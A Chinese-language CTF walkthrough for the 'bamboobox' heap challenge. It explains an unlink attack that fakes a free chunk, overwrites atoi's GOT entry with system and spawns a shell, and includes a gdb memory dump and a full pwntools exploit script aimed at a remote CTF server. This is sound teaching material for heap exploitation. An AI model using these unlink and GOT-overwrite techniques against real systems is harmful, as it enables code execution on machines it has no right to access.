利用思路
由於之前 house of spirit 時候已經逆向分析過,這里不再重復
- 偽造一個空閑 chunk。
- 通過 unlink 把 chunk 移到存儲 chunk 指針的內存處。
- 覆蓋 chunk 0 指針為 atoi 的 got 表地址並泄露。
- 覆蓋 atoi 的 got 表為 system 函數地址。
- 給出參數 ‘sh’,調用 atoi 函數拿 shell。
利用過程
add(0x40,'a' * 8)
add(0x80,'b' * 8)
add(0x80,'c' * 8)
ptr = 0x6020c8
fake_chunk = p64(0)
fake_chunk += p64(0x41)
fake_chunk += p64(ptr-0x18)
fake_chunk += p64(ptr-0x10)
fake_chunk += 'c'*0x20
fake_chunk += p64(0x40)
fake_chunk += p64(0x90)
edit(0,0x80,fake_chunk)
首先在 chunk 0 構造一個 fake chunk ,並把指針分別置為 ptr-0x18 和 ptr-0x10 ,同時把 chunk 1 的 prev_size 給上 fak chunk 的大小,把 size 的 inuse 位置 0 ,這樣在 free chunk 1 的時候,程序會誤以為 fake chunk 為空閑的,從而觸發 unlink 操作,將 ptr 指針置為 ptr - 0x18。
gdb-peda$ x /20xg 0x250c020
0x250c020: 0x0000000000000000 0x0000000000000051 chunk 0
0x250c030: 0x0000000000000000 0x0000000000000041
0x250c040: 0x00000000006020b0 0x00000000006020b8
0x250c050: 0x6363636363636363 0x6363636363636363
0x250c060: 0x6363636363636363 0x6363636363636363
0x250c070: 0x0000000000000040 0x0000000000000090 chunk 1
0x250c080: 0x626262626262000a 0x000000000000000a
0x250c090: 0x0000000000000000 0x0000000000000000
0x250c0a0: 0x0000000000000000 0x0000000000000000
0x250c0b0: 0x0000000000000000 0x0000000000000000
remove(1)
payload = p64(0) * 2
payload += p64(0x40) + p64(0x602068)
edit(0,0x80,payload)
free 掉chunk 1 后,改寫 chunk 0 的內容為 atoi 的 got 表地址。
show()
r.recvuntil("0 : ")
atoi_addr = u64(r.recvuntil(":")[:6].ljust(8,'\x00'))
libcbase = atoi_addr - libc.symbols['atoi']
print "libc:",hex(libcbase)
system_addr = libcbase + libc.symbols['system']
print 'system:',hex(system_addr)
泄露 atoi 函數的地址,並計算 system 函數的地址。
edit(0,0x8,p64(system_addr))
r.recvuntil(":")
r.sendline("sh")
將 atoi 的 got 表地址改為 system 地址,這樣在主函數調用 atoi 函數時輸入 sh ,就相當於執行 system('sh') 可以成功拿 shell 。
get flag
exp 腳本
from pwn_debug import *
#context.log_level = 'debug'
pdbg = pwn_debug('bamboobox')
pdbg.local()
pdbg.remote('node3.buuoj.cn',26510)
#libc = ELF('./x64_libc.so.6')
r = pdbg.run('remote')
libc = pdbg.libc
def add(length,name):
r.recvuntil(":")
r.sendline('2')
r.recvuntil(':')
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)
def edit(idx,length,name):
r.recvuntil(':')
r.sendline('3')
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(':')
r.sendline(name)
def remove(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))
def show():
r.recvuntil(":")
r.sendline("1")
add(0x40,'a' * 8)
add(0x80,'b' * 8)
add(0x80,'c' * 8)
ptr = 0x6020c8
fake_chunk = p64(0)
fake_chunk += p64(0x41)
fake_chunk += p64(ptr-0x18)
fake_chunk += p64(ptr-0x10)
fake_chunk += 'c'*0x20
fake_chunk += p64(0x40)
fake_chunk += p64(0x90)
edit(0,0x80,fake_chunk)
#gdb.attach(r)
remove(1)
payload = p64(0) * 2
payload += p64(0x40) + p64(0x602068)
edit(0,0x80,payload)
#gdb.attach(r)
show()
r.recvuntil("0 : ")
atoi_addr = u64(r.recvuntil(":")[:6].ljust(8,'\x00'))
libcbase = atoi_addr - libc.symbols['atoi']
print "libc:",hex(libcbase)
system_addr = libcbase + libc.symbols['system']
print 'system:',hex(system_addr)
edit(0,0x8,p64(system_addr))
#gdb.attach(r)
r.recvuntil(":")
r.sendline("sh")
r.interactive()
內容來源
https://github.com/bash-c/pwn_repo/blob/master/hitconTraining_bamboobox/bamboobox2.py